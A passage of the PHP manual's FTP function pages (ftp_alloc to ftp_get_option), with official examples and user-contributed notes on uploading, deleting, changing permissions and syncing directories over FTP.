    $srcroot = "/home/kristy/scripts/";
    $srcrela = "iwm/";

    // connect to the destination FTP & enter appropriate directories both locally and remotely
    $ftpc = ftp_connect("ftp.mydomain.com");
    $ftpr = ftp_login($ftpc,"username","password");

    if ((!$ftpc) || (!$ftpr)) { echo "FTP connection not established!"; die(); }
    if (!chdir($srcroot)) { echo "Could not enter local source root directory."; die(); }
    if (!ftp_chdir($ftpc,$ftproot)) { echo "Could not enter FTP root directory."; die(); }

    // start ftp'ing over the directory recursively
    ftpRec ($srcrela);

    // close the FTP connection
    ftp_close($ftpc);

// --------------------------------------------------------------------
// THE ACTUAL FUNCTION
// --------------------------------------------------------------------
function ftpRec ($srcrela)
{
    global $srcroot;
    global $ftproot;
    global $ftpc;
    global $ftpr;

    // enter the local directory to be recursed through
    chdir($srcroot.$srcrela);

    // check if the directory exists & change to it on the destination
    if (!ftp_chdir($ftpc,$ftproot.$srcrela))
    {
        // remote directory doesn't exist so create & enter it
           ftp_mkdir    ($ftpc,$ftproot.$srcrela);
           ftp_chdir    ($ftpc,$ftproot.$srcrela);
    }

    if ($handle = opendir("."))
    {
       while (false !== ($fil = readdir($handle)))
       {
           if ($fil != "." && $fil != "..")
           {
               // check if it's a file or directory
               if (!is_dir($fil))
               {
                   // it's a file so upload it
                   ftp_put($ftpc, $ftproot.$srcrela.$fil, $fil, FTP_BINARY);
                }
                else
                {
                    // it's a directory so recurse through it
                    if ($fil == "templates")
                    {
                            // I want the script to ignore any directories named "templates"
                            // and therefore, not recurse through them and upload their contents
                    }
                    else
                    {
                        ftpRec ($srcrela.$fil."/");
                        chdir ("../");
                    }
                }
          }
      }
      closedir($handle);
    }
}
?>
postmaster at alishomepage dot com 24-Jan-2004 12:29
I have written an OpenSource ZIP2FTP interface, which actually takes a given ZIP file and decompresses it in the folder on an FTP server you specify...

Therefore it may be quite interesting for you people interested in FTP, its adress is http://zip2ftp.alishomepage.com ; those who directly want the source may visit http://zip2ftp.alishomepage.com/?do=getSource
Vikrant Korde <vakorde at hotmail dot com> 14-Nov-2003 02:35
<?

//If you want to move or replicate the folder hierarchy from your current server to another remote server. Then this will be helpful as this will browse the current server's directory and at the same time it will copy that file in the remote server in the same directory.

//This script will copy all the files from this directory and subdirectory to another remote server via FTP

function rec_copy ($source_path, $destination_path, $con)
{
    ftp_mkdir($con, $destination_path);
    ftp_site($con, 'CHMOD 0777 '.$destination_path);
    ftp_chdir($con,$destination_path);

    if (is_dir($source_path))
    {
        chdir($source_path);
        $handle=opendir('.');
        while (($file = readdir($handle))!==false)
        {
            if (($file != ".") && ($file != ".."))
            {
                if (is_dir($file))
                {
                    // here i am restricting the folder name 'propertyimages' from being copied to remote server. -- VK
                    if($file != "propertyimages")
                    {
                        rec_copy ($source_path."/".$file, $file, $con);
                        chdir($source_path);
                        ftp_cdup($con);
                    }
                }
                if (is_file($file))
                {
                    $fp = fopen($file,"r");
                    // this will convert spaces to '_' so that it will not throw error.  -- VK
                    ftp_fput ($con, str_replace(" ", "_", $file), $fp,FTP_BINARY);
                    ftp_site($con, 'CHMOD 0755 '.str_replace(" ", "_", $file));
                }
            }
        }
        closedir($handle);
    }
}

// make a FTP connection --VK
$con = ftp_connect("69.18.213.131",21);
$login_result = ftp_login($con,"username","password");

// this is the root path for the remote server-- VK
$rootpath = "mainwebsite_html";

// this is the physical path of the source directory. actually u can also use the relative path. -- VK
$sourcepath = realpath("../")."/resdesk";

// this directory name will only change the top most directory and not the inner one -- VK
$destination_dir_name = "resdesk_".$account_id."/";

rec_copy ($sourcepath, $destination_dir_name, $con);
if (function_exists("ftp_close"))
{
    ftp_close($con);
}
?>
postmaster at alishomepage dot com 24-Oct-2003 01:06
Here's another FTP interface over PHP (also uses MySQL)

http://myftp.alishomepage.com

PS: this script will ALSO allow you to download its source... So it becomes interesting for YOU PROGRAMMERS as well :D
NOSPAMkent at ioflux dot NOSPAM dot com 20-Sep-2002 02:05
I think what some other posts were trying to say which may need clarification is that in PHP 4.2.3, ftp_connect("myhost.com") was failing most of the time, except it would work like every few minutes.

The fix is that ftp_connect seems to have a bug resolving addresses. If you do:

$hostip = gethostbyname($host);
$conn_id = ftp_connect($hostip);

It seems to solve the problem.
(Other users referred to an ftpbuf() error... not sure what that is, but this should fix it.)
sven at cartell-network dot de 13-Feb-2002 08:27
connection to a ftp server across proxy

$ftp_server = "proxy"; f.e. 123.456.789.10
$ftp_user_name = "username@ftpserver"; f.e. exampleuk@www.example.uk
$ftp_user_pass = "password";

$conn_id = ftp_connect($ftp_server, 2121);
$login_result = ftp_login( $conn_id, $ftp_user_name, $ftp_user_pass );


Allocates space for a file to be uploaded

  • « FTP Functions
  • ftp_cdup »
  • PHP Manual
  • FTP Functions
  • Allocates space for a file to be uploaded

ftp_alloc

(PHP 5)

ftp_alloc — Allocates space for a file to be uploaded

Description

bool ftp_alloc ( resource $ftp_stream , int $filesize [, string &$result ] )

Sends an ALLO command to the remote FTP server to allocate space for a file to be uploaded.

Note:

Many FTP servers do not support this command. These servers may return a failure code (FALSE) indicating the command is not supported or a success code (TRUE) to indicate that pre-allocation is not necessary and the client should continue as though the operation were successful. Because of this, it may be best to reserve this function for servers which explicitly require preallocation.

Parameters

ftp_stream

The link identifier of the FTP connection.

filesize

The number of bytes to allocate.

result

A textual representation of the servers response will be returned by reference in result if a variable is provided.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ftp_alloc() example

<?php

$file = "/home/user/myfile";

// connect to the server
$conn_id = ftp_connect('ftp.example.com');
$login_result = ftp_login($conn_id, 'anonymous', 'user@example.com');

if (ftp_alloc($conn_id, filesize($file), $result)) {
  echo "Space successfully allocated on server.  Sending $file.\n";
  ftp_put($conn_id, '/incomming/myfile', $file, FTP_BINARY);
} else {
  echo "Unable to allocate space on server.  Server said: $result\n";
}

ftp_close($conn_id);

?>

See Also

  • ftp_put() - Uploads a file to the FTP server
  • ftp_fput() - Uploads from an open file to the FTP server

User Contributed Notes

There are no user contributed notes for this page.


Changes to the parent directory

  • « ftp_alloc
  • ftp_chdir »
  • PHP Manual
  • FTP Functions
  • Changes to the parent directory

ftp_cdup

(PHP 4, PHP 5)

ftp_cdup — Changes to the parent directory

Description

bool ftp_cdup ( resource $ftp_stream )

Changes to the parent directory.

Parameters

ftp_stream

The link identifier of the FTP connection.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ftp_cdup() example

<?php
// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// change the current directory to html
ftp_chdir($conn_id, 'html');

echo ftp_pwd($conn_id); // /html

// return to the parent directory
if (ftp_cdup($conn_id)) {
  echo "cdup successful\n";
} else {
  echo "cdup not successful\n";
}

echo ftp_pwd($conn_id); // /

ftp_close($conn_id);
?>

See Also

  • ftp_chdir() - Changes the current directory on a FTP server
  • ftp_pwd() - Returns the current directory name

User Contributed Notes

rowie at free dot fr 11-Mar-2009 11:30
ftp_cdup can only up to the parent and if you want test a directory that is not a child then you can't with ftp_cdup ;)
Anonymous 07-May-2008 06:01
The below example doesn't seem to work on a windows based machine so I use this trick instead

<?php

$aPath = explode('/',ftp_pwd($conn_id));
$sHomeDir = str_repeat('../', count($aPath) - 1);

ftp_chdir($conn_id, $sHomeDir);

?>
tom p 08-Dec-2005 01:01
I used a recursive cdup function until i realised i could navigate to the user's home directory from any location using ~:

<? ftp_chdir($connid, "~"); ?>


Changes the current directory on a FTP server

  • « ftp_cdup
  • ftp_chmod »
  • PHP Manual
  • FTP Functions
  • Changes the current directory on a FTP server

ftp_chdir

(PHP 4, PHP 5)

ftp_chdir — Changes the current directory on a FTP server

Description

bool ftp_chdir ( resource $ftp_stream , string $directory )

Changes the current directory to the specified one.

Parameters

ftp_stream

The link identifier of the FTP connection.

directory

The target directory.

Return Values

Returns TRUE on success or FALSE on failure. If changing directory fails, PHP will also throw a warning.

Examples

Example #1 ftp_chdir() example

<?php

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// check connection
if ((!$conn_id) || (!$login_result)) {
    die("FTP connection has failed !");
}

echo "Current directory: " . ftp_pwd($conn_id) . "\n";

// try to change the directory to somedir
if (ftp_chdir($conn_id, "somedir")) {
    echo "Current directory is now: " . ftp_pwd($conn_id) . "\n";
} else {
    echo "Couldn't change directory\n";
}

// close the connection
ftp_close($conn_id);
?>

See Also

  • ftp_cdup() - Changes to the parent directory
  • ftp_pwd() - Returns the current directory name

User Contributed Notes

info at swiftyexpress dot com 26-Nov-2008 10:12
Works like the other functions in this page's notes, but this one doesn't make use of a global FTP connection, so it takes parameters like the other functions in the extension

<?php
function ftp_directory_exists($ftp, $dir)
{
    // Get the current working directory
    $origin = ftp_pwd($ftp);

    // Attempt to change directory, suppress errors
    if (@ftp_chdir($ftp, $dir))
    {
        // If the directory exists, set back to origin
        ftp_chdir($ftp, $origin);
        return true;
    }

    // Directory does not exist
    return false;
}
?>

[NOTE BY danbrown AT php DOT net: As the contributor mentions, the original function was noted here by (h3 AT valleyfield DOT net) on 13-JUL-2007.]
neil at 11 out of 10 16-Apr-2008 02:58
Thanks to h3 at valleyfield dot net

Same function with some minor changes and comments added

FTP function checks if a directory exists

<?php
function ftp_is_dir( $dir ) {
    global $ftpcon;
    // get current directory
    $original_directory = ftp_pwd( $ftpcon );
    // test if you can change directory to $dir
    // suppress errors in case $dir is not a file or not a directory
    if ( @ftp_chdir( $ftpcon, $dir ) ) {
        // If it is a directory, then change the directory back to the original directory
        ftp_chdir( $ftpcon, $original_directory );
        return true;
    }
    else {
        return false;
    }
}
?>


Set permissions on a file via FTP

  • « ftp_chdir
  • ftp_close »
  • PHP Manual
  • FTP Functions
  • Set permissions on a file via FTP

ftp_chmod

(PHP 5)

ftp_chmod — Set permissions on a file via FTP

Description

int ftp_chmod ( resource $ftp_stream , int $mode , string $filename )

Sets the permissions on the specified remote file to mode.

Parameters

ftp_stream

The link identifier of the FTP connection.

mode

The new permissions, given as an octal value.

filename

The remote file.

Return Values

Returns the new file permissions on success or FALSE on error.

Examples

Example #1 ftp_chmod() example

<?php
$file = 'public_html/index.php';

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// try to chmod $file to 644
if (ftp_chmod($conn_id, 0644, $file) !== false) {
 echo "$file chmoded successfully to 644\n";
} else {
 echo "could not chmod $file\n";
}

// close the connection
ftp_close($conn_id);
?>

See Also

  • chmod() - Changes file mode

User Contributed Notes

DanN 17-Nov-2009 08:17
Just wanted to contribute a quick note for those who are still experiencing issues with changing the permissions via FTP.

If you are having trouble with PHP recognizing the mode as an integer, you can take the previous poster's method:

$mode = octdec ( str_pad ( $mode, 4, '0', STR_PAD_LEFT ) );

And add the following snippet right after:

$mode = (int) $mode;

This will force PHP to recognize the mode as an integer when you do:

ftp_chmod ( $conn_id, $mode, $path );

These together never seem to fail for me.
Maarten Wolzak 23-Sep-2009 12:15
Using the excellent octdec and decoct functions you can make this easy:

<?php
$mode = "644";
$mode = octdec( str_pad($mode,4,'0',STR_PAD_LEFT) );
ftp_chmod($ftp_stream, $mode, $file);
?>
rperea at vsourceweb dot com 22-Dec-2008 06:26
It took me a while to figure out how to use this function in my situation because I needed the $mode to be passed to this function as a variable that was read from a database. Since the database returns the value as an integer without a leading zero, I could not get the operation to work because adding a leading zero in PHP turns the value into a string.

For example, this does not work in my situation:

<?php
// Assume that this is the value returned from the database.
$mode = 644;

// Now try to chmod using this value.
ftp_chmod($conn_id, $mode, 'test.txt');

// The file now has permissions of 204 and not 644
?>

Adding a leading zero doesn't work either:

<?php
// Assume that this is the value returned from the database.
$mode = 644;

// Now try to chmod using this value.
ftp_chmod($conn_id, '0'.$mode, 'test.txt');

// The file now has permissions of 204 and not 644
?>

I tried many ways to get it to work even converting it from oct to dec using octdec and then back to decoct and nothing worked. This is the only way I was able to get it to work, with an eval statement.

<?php
// Assume that this is the value returned from the database.
$mode = 644;

// Turn the mode into a string
$np = '0'.$mode;

// Now run chmod with the eval'd string parsed as an integer.
ftp_chmod($conn_id, eval("return({$np});"), 'test.txt');

// The file now has permissions of 644
?>

Of course, you will have to make sure that the value of $mode only contains 3 digits. Always do checking on your values before handing it off to eval().
cspiegl at kwask dot de 21-Apr-2008 09:30
Ok,
so if 2 people say that my way is wrong and the other is right, i will take mine back.
I posted it cause for me just the way i used it worked (i don't know why)

AND: i would not say something like: "I would try before post", in my opinion that is realy unfriendly, cause i tryed!
tiefenbrunner at obdev dot at 17-Dec-2007 02:19
The "mode" parameter of the PHP5 ftp_chmod function is an integer value that is supposed to be given as an octal number, like the argument for the "chmod" command line tool.

Thus the sprintf must use the %o formatting character, so that the passed integer value is really represented as an octal number to the CHMOD site command for the FTP server.

So, IMHO, rabin's version is correct (it definitely worked for me).
Josh at jcr dot com 13-Sep-2007 07:13
rabin's code works just fine as a replacement for ftp_chmod().
I would try that before trying cspiegl's solution for pre-php 5 installations.
rabin at rab dot in 23-May-2006 12:21
As mentioned in the note below, the function posted by "hardy add mapscene dot com" works incorrectly if used with an octal mode, the way the php5 function is used.

This function works exactly like the the php5 one:

<?php
if (!function_exists('ftp_chmod')) {
    function ftp_chmod($ftp_stream, $mode, $filename)
    {
        return ftp_site($ftp_stream, sprintf('CHMOD %o %s', $mode, $filename));
    }
}
?>


Closes an FTP connection

  • « ftp_chmod
  • ftp_connect »
  • PHP Manual
  • FTP Functions
  • Closes an FTP connection

ftp_close

(PHP 4 >= 4.2.0, PHP 5)

ftp_close — Closes an FTP connection

Description

bool ftp_close ( resource $ftp_stream )

ftp_close() closes the given link identifier and releases the resource.

Note:

After calling this function, you can no longer use the FTP connection and must create a new one with ftp_connect().

Parameters

ftp_stream

The link identifier of the FTP connection.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ftp_close() example

<?php

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// print the current directory
echo ftp_pwd($conn_id); // /

// close this connection
ftp_close($conn_id);
?>

See Also

  • ftp_connect() - Opens an FTP connection

User Contributed Notes

There are no user contributed notes for this page.


Opens an FTP connection

  • « ftp_close
  • ftp_delete »
  • PHP Manual
  • FTP Functions
  • Opens an FTP connection

ftp_connect

(PHP 4, PHP 5)

ftp_connect — Opens an FTP connection

Description

resource ftp_connect ( string $host [, int $port = 21 [, int $timeout = 90 ]] )

ftp_connect() opens an FTP connection to the specified host.

Parameters

host

The FTP server address. This parameter shouldn't have any trailing slashes and shouldn't be prefixed with ftp://.

port

This parameter specifies an alternate port to connect to. If it is omitted or set to zero, then the default FTP port, 21, will be used.

timeout

This parameter specifies the timeout for all subsequent network operations. If omitted, the default value is 90 seconds. The timeout can be changed and queried at any time with ftp_set_option() and ftp_get_option().

Return Values

Returns a FTP stream on success or FALSE on error.

Examples

Example #1 ftp_connect() example

<?php

$ftp_server = "ftp.example.com";

// set up a connection or die
$conn_id = ftp_connect($ftp_server) or die("Couldn't connect to $ftp_server");

?>

See Also

  • ftp_close() - Closes an FTP connection
  • ftp_ssl_connect() - Opens an Secure SSL-FTP connection

User Contributed Notes

sean at boyercentral dot net 24-Mar-2009 02:05
Ever needed to create an FTP connection resource defaulted to a particular dir from a URI? Here's a simple function that will take a URI like ftp://username:password@subdomain.example.com/path1/path2/, and return an FTP connection resource.

<?php
function getFtpConnection($uri)
{
    // Split FTP URI into:
    // $match[0] = ftp://username:password@sld.domain.tld/path1/path2/
    // $match[1] = ftp://
    // $match[2] = username
    // $match[3] = password
    // $match[4] = sld.domain.tld
    // $match[5] = /path1/path2/
    preg_match("/ftp:\/\/(.*?):(.*?)@(.*?)(\/.*)/i", $uri, $match);

    // Set up a connection
    $conn = ftp_connect($match[1] . $match[4] . $match[5]);

    // Login
    if (ftp_login($conn, $match[2], $match[3]))
    {
        // Change the dir
        ftp_chdir($conn, $match[5]);

        // Return the resource
        return $conn;
    }

    // Or retun null
    return null;
}
?>
rainer at justchords dot com 11-Nov-2003 12:07
Connecting through a firewall also depends on the type. This is an example for the Secure Gateway FTP. First you have to connect to the firewall, then open a session to the destination ftp server. This looks like this:

// Connect to firewall
$conn_id = ftp_connect("firewall.yournet.com");

// Open a session to an external ftp site
$login_result = ftp_login ($conn_id, "userid@externalhost.com", "password");

// Check open
if ((!$conn_id) || (!$login_result)) {
        echo "Ftp-connect failed!"; die;
    } else {
        echo "Connected.";
    }

// turn on passive mode transfers
ftp_pasv ($conn_id, true) ;

... and go on ...


Deletes a file on the FTP server

  • « ftp_connect
  • ftp_exec »
  • PHP Manual
  • FTP Functions
  • Deletes a file on the FTP server

ftp_delete

(PHP 4, PHP 5)

ftp_delete — Deletes a file on the FTP server

Description

bool ftp_delete ( resource $ftp_stream , string $path )

ftp_delete() deletes the file specified by path from the FTP server.

Parameters

ftp_stream

The link identifier of the FTP connection.

path

The file to delete.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ftp_delete() example

<?php
$file = 'public_html/old.txt';

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// try to delete $file
if (ftp_delete($conn_id, $file)) {
 echo "$file deleted successful\n";
} else {
 echo "could not delete $file\n";
}

// close the connection
ftp_close($conn_id);
?>

User Contributed Notes

engrumair_sabir at yahoo dot com 03-Apr-2014 02:18
if you want to upload the file on server and thn do delete it.. this script works well

<?php
// connect and login data
$web = '111.111.111.111';
$user = '123abc';
$pass = 'abc123';
// file location
$server_file = '/public_html/upload/test.csv';
$local_file = 'test.csv';
//connect
$conn_id = ftp_connect($web);
$login_result = ftp_login($conn_id,$user,$pass);
//uploading
if (ftp_put($conn_id, $server_file, $local_file, FTP_BINARY))
 {echo "Success \n";}
else {echo "Failed";}

// try to delete $file
if (ftp_delete($conn_id, $server_file)) {
 echo "$server_file deleted successful\n";
} else {
 echo "could not delete $server_file\n";
}

// close the connection
ftp_close($conn_id);
?>
kanhaiya4it at gmail dot com 28-Jan-2014 09:49
This works perfectly!

<?php
$file = 'public_html/plentyport.com/jobs/employee/resumes/4216:54:38Resume (1).docx';
$ftp_server="your server address";
// set up basic connection
$conn_id = ftp_connect($ftp_server);
$ftp_user_name="your user server name";
$ftp_user_pass="your server password";
// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// try to delete $file
if (ftp_delete($conn_id, $file)) {
 echo "$file deleted successful\n";
} else {
 echo "could not delete $file\n";
}

// close the connection
ftp_close($conn_id);
?>
kanhaiya4it at gmail dot com 28-Jan-2014 09:49
This works perfectly!

<?php
$file = 'public_html/plentyport.com/jobs/employee/resumes/4216:54:38Resume (1).docx';
$ftp_server="your server address";
// set up basic connection
$conn_id = ftp_connect($ftp_server);
$ftp_user_name="your user server name";
$ftp_user_pass="your server password";
// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// try to delete $file
if (ftp_delete($conn_id, $file)) {
 echo "$file deleted successful\n";
} else {
 echo "could not delete $file\n";
}

// close the connection
ftp_close($conn_id);
?>
Jim Greene 02-Jul-2013 04:15
Generally speaking, unlink will work just fine for most applications, however, if you are using multiple servers, you're going to have to connect to the other server using FTP.
oritatelodoy at hotmail dot com 06-Aug-2009 07:42
you can delete a file with a normal unlink function in the php api
webmaster at iamsowonderful dot com 04-Apr-2005 07:37
You can make a script delete itself with ftp_delete!

It's pretty useful when creating an install script which you want to destroy at the end of the installation to prevent it from being run later.

On Linux machines, very often the user uploads third party scripts, and gets asked to CHMOD this and delete that manually because the webserver user is different from the FTP user ; make them enter their FTP info and get rid of the tedious file manipulation step!

Be careful, though. You will need to flush the output buffer and call ftp_delete at the end of the script, or else the script will die before it fully executes. Look up ob_end_flush for more info.


Requests execution of a command on the FTP server

  • « ftp_delete
  • ftp_fget »
  • PHP Manual
  • FTP Functions
  • Requests execution of a command on the FTP server

ftp_exec

(PHP 4 >= 4.0.3, PHP 5)

ftp_exec — Requests execution of a command on the FTP server

Description

bool ftp_exec ( resource $ftp_stream , string $command )

Sends a SITE EXEC command request to the FTP server.

Parameters

ftp_stream

The link identifier of the FTP connection.

command

The command to execute.

Return Values

Returns TRUE if the command was successful (server sent response code: 200); otherwise returns FALSE.

Examples

Example #1 ftp_exec() example

<?php

// variable initialization
$command = 'ls -al >files.txt';

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// execute command
if (ftp_exec($conn_id, $command)) {
    echo "$command executed successfully\n";
} else {
    echo "could not execute $command\n";
}

// close the connection
ftp_close($conn_id);

?>

See Also

  • ftp_raw() - Sends an arbitrary command to an FTP server

User Contributed Notes

sam at totallydigital dot co dot nz 16-Dec-2003 10:34
A word of caution, execution via FTP isn't very widely supported.  Check that it works on the servers that you intend to connect to before you start coding something that requires this.


Downloads a file from the FTP server and saves to an open file

  • « ftp_exec
  • ftp_fput »
  • PHP Manual
  • FTP Functions
  • Downloads a file from the FTP server and saves to an open file

ftp_fget

(PHP 4, PHP 5)

ftp_fget — Downloads a file from the FTP server and saves to an open file

Description

bool ftp_fget ( resource $ftp_stream , resource $handle , string $remote_file , int $mode [, int $resumepos = 0 ] )

ftp_fget() retrieves remote_file from the FTP server, and writes it to the given file pointer.

Parameters

ftp_stream

The link identifier of the FTP connection.

handle

An open file pointer in which we store the data.

remote_file

The remote file path.

mode

The transfer mode. Must be either FTP_ASCII or FTP_BINARY.

resumepos

The position in the remote file to start downloading from.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ftp_fget() example

<?php

// path to remote file
$remote_file = 'somefile.txt';
$local_file = 'localfile.txt';

// open some file to write to
$handle = fopen($local_file, 'w');

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// try to download $remote_file and save it to $handle
if (ftp_fget($conn_id, $handle, $remote_file, FTP_ASCII, 0)) {
 echo "successfully written to $local_file\n";
} else {
 echo "There was a problem while downloading $remote_file to $local_file\n";
}

// close the connection and the file handler
ftp_close($conn_id);
fclose($handle);
?>

See Also

  • ftp_get() - Downloads a file from the FTP server
  • ftp_nb_get() - Retrieves a file from the FTP server and writes it to a local file (non-blocking)
  • ftp_nb_fget() - Retrieves a file from the FTP server and writes it to an open file (non-blocking)

User Contributed Notes

mike at eastghost dot com 03-Mar-2013 11:22
You might need to use ftp_pasv() if you're behind a firewall and receiving odd timeouts, file creation but now local data saving, etc.
broom at alturnanetworks dot com 03-Oct-2008 01:49
<?php
/**
 * Function returns contents via FTP connection and returns it as string (right version...)
 */
function ftp_get_contents ($conn_id, $filename) {
    //Create temp handler:
    $tempHandle = fopen('php://temp', 'r+');

    //Get file from FTP:
    if (@ftp_fget($conn_id, $tempHandle, $filename, FTP_ASCII, 0)) {
        rewind($tempHandle);
        return stream_get_contents($tempHandle);
    } else {
        return false;
    }
}
?>
broom at alturnanetworks dot com 03-Oct-2008 01:18
Another ftp_get_contents approach, using a temperary stream handler. Returns file contents as string.

<?php
function ftp_get_contents ($conn_id, $filename,
//Create temp handler:
    $tempHandle = fopen('php://temp', 'r+');

//Get file from FTP assuming that it exists:
    ftp_fget($conn_id, $tempHandle, $filename, FTP_ASCII, 0));

    //Getting detailed stats to check filesize:
    $fstats = fstat($tempHandle);

    return fread($tempHandle, $fstats['size']);
}
?>
justrafi at gmail dot com 06-Feb-2008 05:44
I was in need to synchronize two folders on two separate servers, one is a Windows server, and the other is a Linux server. I created this short and sweet function to help me do this. PLEASE NOTICE: This will not copy folders, and probably will fail if remote folder contains anything else than files.

function sync_folders($host, $port, $username, $password, $remote_dir, $local_dir, $passive_mode = true) {
    $conn_id = ftp_connect($host, $port);
    if (!$conn_id) return false; # fail to connect
    if (!ftp_login($conn_id, $username, $password)) { ftp_close($conn_id); return false; }  # fail to login
    ftp_pasv($conn_id, $passive_mode);
    if (!ftp_chdir($conn_id, $remote_dir)) { ftp_close($conn_id); return false; } # fail to change dir
    if (substr($local_dir, -1) != '/') $local_dir .= '/';

    $list = ftp_nlist($conn_id, '.');
    sort($list);
    foreach ($list as $file) {
        if (!file_exists($local_dir . $file)) {
            $is_copied = ftp_get($conn_id, $local_dir . $file, $file, FTP_BINARY);
        }
    }
    ftp_close($conn_id);
    return true;
}
rodrigo-rocha at oi dot net dot br 06-Sep-2002 04:56
If you suply only a filename to the second parameter of function the ftp_get will open a pointer to the local file creating it and write to it.It's ok if your server dont execute for to mutch time and you dont get too many files but if you do it too many times the pointers created by ftp_get will not be closed and will end your opened files capacity at your server making it to do not open any more files until you restart it.


Uploads from an open file to the FTP server

  • « ftp_fget
  • ftp_get_option »
  • PHP Manual
  • FTP Functions
  • Uploads from an open file to the FTP server

ftp_fput

(PHP 4, PHP 5)

ftp_fput — Uploads from an open file to the FTP server

Description

bool ftp_fput ( resource $ftp_stream , string $remote_file , resource $handle , int $mode [, int $startpos = 0 ] )

ftp_fput() uploads the data from a file pointer to a remote file on the FTP server.

Parameters

ftp_stream

The link identifier of the FTP connection.

remote_file

The remote file path.

handle

An open file pointer on the local file. Reading stops at end of file.

mode

The transfer mode. Must be either FTP_ASCII or FTP_BINARY.

startpos

The position in the remote file to start uploading to.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ftp_fput() example

<?php

// open some file for reading
$file = 'somefile.txt';
$fp = fopen($file, 'r');

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// try to upload $file
if (ftp_fput($conn_id, $file, $fp, FTP_ASCII)) {
    echo "Successfully uploaded $file\n";
} else {
    echo "There was a problem while uploading $file\n";
}

// close the connection and the file handler
ftp_close($conn_id);
fclose($fp);

?>

See Also

  • ftp_put() - Uploads a file to the FTP server
  • ftp_nb_fput() - Stores a file from an open file to the FTP server (non-blocking)
  • ftp_nb_put() - Stores a file on the FTP server (non-blocking)

User Contributed Notes

roy at user dot nl 29-Apr-2013 05:22
For directly inserting content into a file on an FTP host, you could also create a string stream wich streams directly to the ftp_fput function.

This should create less overhead than first writing to any temp directories locally before streaming, as suggested here.

<?php

$string = "Your content goes here";
$stream = fopen('data://text/plain,' . $string,'r');

ftp_fput($this->connection,$pathTo,$stream, FTP_BINARY);

?>
php at cpis dot me 11-May-2012 11:32
This might be obvious to most of you, but make sure your stream isn't write-only. It has to be able to read from your stream in order to upload its contents.

Took me a while trying to figure out why my  uploaded file was 0B, and that was why.
jevin 23-Nov-2011 08:24
You might also want to note that ftp_fput will overwrite any existing file.
timgolding_10 at hotmail dot com 26-Apr-2009 04:48
If when using fput you get the one of the following errors:

Warning: ftp_fput() [function.ftp-fput]: Opening ASCII mode data connection

Warning: ftp_fput() [function.ftp-fput]: Opening BINARY mode data connection

and it creates the file in the correct location but is a 0kb file and all FTP commands thereafter fail. It is likely that the client is behind a firewall. To rectify this use:

<?php
ftp_pasv($resource, true);
?>

Before executing any put commands. Took me so long to figure this out I actually cheered when I did :D
rok dot meglic at gmail dot com 07-Nov-2008 01:35
Make sure you chdir to remote directory before using ftp_put or else ftp_put will just return error that it cannot create file. After you do the chdir you should NOT pass the whole path of file to ftp_put but just basename (filename). See example for more info.

Example:
<?php
$locpath = 'local_path/resources/js/test.js';
$rempath = 'resources/js/';
$remFile = 'test.js';

ftp_chdir($this->conn_id, $rempath);
ftp_put($this->conn_id, $remFile, $locpath, FTP_BINARY);
?>
robert b 12-Sep-2008 11:43
Using jopi paranoid fi's example, tmpfile() works on PHP 4 and 5 instead of using the php://temp file.
jopi paranoid fi 20-May-2008 09:57
When you have your file contents as a string, create temporary stream and use that as a file handle.

<?php

$contents = "This is a test file\nTesting 1,2,3..";

$tempHandle = fopen('php://temp', 'r+');
fwrite($tempHandle, $contents);
rewind($tempHandle);

ftp_fput($this->ftp, $filename, $tempHandle, FTP_ASCII);

?>
Charlie Brown 16-Apr-2008 11:19
Fails if destination file exists. Delete first and it works.
info at daniel-marschall dot de 19-Apr-2006 09:04
This is a function i wrote to copy a complete directory to a FTP-Server-folder.

function ftp_uploaddirectory($conn_id, $local_dir, $remote_dir)
{
  @ftp_mkdir($conn_id, $remote_dir);
  $handle = opendir($local_dir);
  while (($file = readdir($handle)) !== false)
  {
    if (($file != '.') && ($file != '..'))
    {
      if (is_dir($local_dir.$file))
      {
        ftp_uploaddirectory($conn_id, $local_dir.$file.'/', $remote_dir.$file.'/');
      }
      else
        $f[] = $file;
    }
  }
  closedir($handle);
  if (count($f))
  {
    sort($f);
    @ftp_chdir($conn_id, $remote_dir);
    foreach ($f as $files)
    {
      $from = @fopen("$local_dir$files", 'r');
      @ftp_fput($conn_id, $files, $from, FTP_BINARY);
    }
  }
}

Example:

$conn_id = @ftp_connect($server);
@ftp_login ($conn_id, $username, $passwort);
ftp_uploaddirectory($conn_id, 'mydirectory/', 'theftpdirectory/');
@ftp_quit($conn_id);

I hope you'll find it useful.
darian lassan at yahoo de 04-Feb-2003 07:00
If you want to pass a string containing the filename as source and not a resource handle use ftp_put() instead. Trivial but not mentioned here.


Retrieves various runtime behaviours of the current FTP stream

  • « ftp_fput
  • ftp_get »
  • PHP Manual
  • FTP Functions
  • Retrieves various runtime behaviours of the current FTP stream

ftp_get_option

(PHP 4 >= 4.2.0, PHP 5)

ftp_get_option — Retrieves various runtime behaviours of the current FTP stream

Description

mixed ftp_get_option ( resource $ftp_stream , int $option )

This function returns the value for the requested option from the specified FTP connection.

Parameters

ftp_stream

